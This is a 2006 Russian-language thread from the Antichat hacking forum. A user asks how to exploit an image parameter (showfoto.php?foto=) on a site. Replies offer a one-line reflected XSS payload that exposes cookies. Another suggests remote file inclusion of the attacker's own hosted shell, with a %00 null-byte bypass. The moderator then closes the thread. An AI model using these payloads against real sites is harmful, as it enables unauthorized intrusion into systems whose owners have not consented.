Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Можно ли что-то с этим сделать? |

27.03.2006, 23:42
|
|
Познающий
Регистрация: 04.01.2006
Сообщений: 55
Провел на форуме: 106810
Репутация:
10
|
|
Можно ли что-то с этим сделать?
Ребятки помогите, подскажите можно ли что-то сделать, если есть такое:
showfoto.php?foto=/images/img.gif
Вот такая ссылка на картинку..
Когда пишу
showfoto.php?foto=">
То выводит, что картинки нету и " border=0>
Можно ли что-то прописать вредное? 
|
|
|

27.03.2006, 23:44
|
|
Постоянный
Регистрация: 07.08.2005
Сообщений: 386
Провел на форуме: 3212607
Репутация:
454
|
|
xxs
showfoto.php?foto="><script>alert(document.cookie) </script>
|
|
|

27.03.2006, 23:47
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
возможно php-include
|
|
|

27.03.2006, 23:53
|
|
Познающий
Регистрация: 04.01.2006
Сообщений: 55
Провел на форуме: 106810
Репутация:
10
|
|
VectorG
XSS меня не сильно интересует, т.к. на сайте нету авторизации, вообщим нету и кукисов... так что воровать их бесмысленно )
|
|
|

27.03.2006, 23:54
|
|
Познающий
Регистрация: 04.01.2006
Сообщений: 55
Провел на форуме: 106810
Репутация:
10
|
|
qBiN, поделишь пожалуйста подробностями.
|
|
|

28.03.2006, 00:03
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
qBiN, поделишь пожалуйста подробностями.
Во-первых будешь так называть темы получишь по башке,я модер нервный...
Во-вторых повторяю я модер нервный и не люблю переделывать два сообщения одного пользователя в одно,поэтому советую тебе сделать это(либо это сделаю я,понизив тебе репу)
В третьих RTFM
В четвертых ничо конкретного сказать не могу,скрипт не видел.
зы:вот такой я злой :-)
|
|
|

28.03.2006, 00:03
|
|
Постоянный
Регистрация: 07.08.2005
Сообщений: 386
Провел на форуме: 3212607
Репутация:
454
|
|
поделишь пожалуйста подробностями.
ссылку в студиу или в приват мне
телепатов нет!
|
|
|

29.03.2006, 22:44
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме: 5355463
Репутация:
2258
|
|
Сообщение от FoGorm
qBiN, поделишь пожалуйста подробностями.
showfoto.php?foto=/images/img.gif вместо ентого подставить showfoto.php?foto=http://адрес_твоего_шелла_на_хости нге_без_пхп хотя я думаю скрипт инклудит токо картинки..но %00 может обойти хотя древняя весчь
Матвей нехарашо!)
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|

31.03.2006, 00:10
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
Автор спит тему закрываю ибо нет информативности, да и к форумам не относится.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|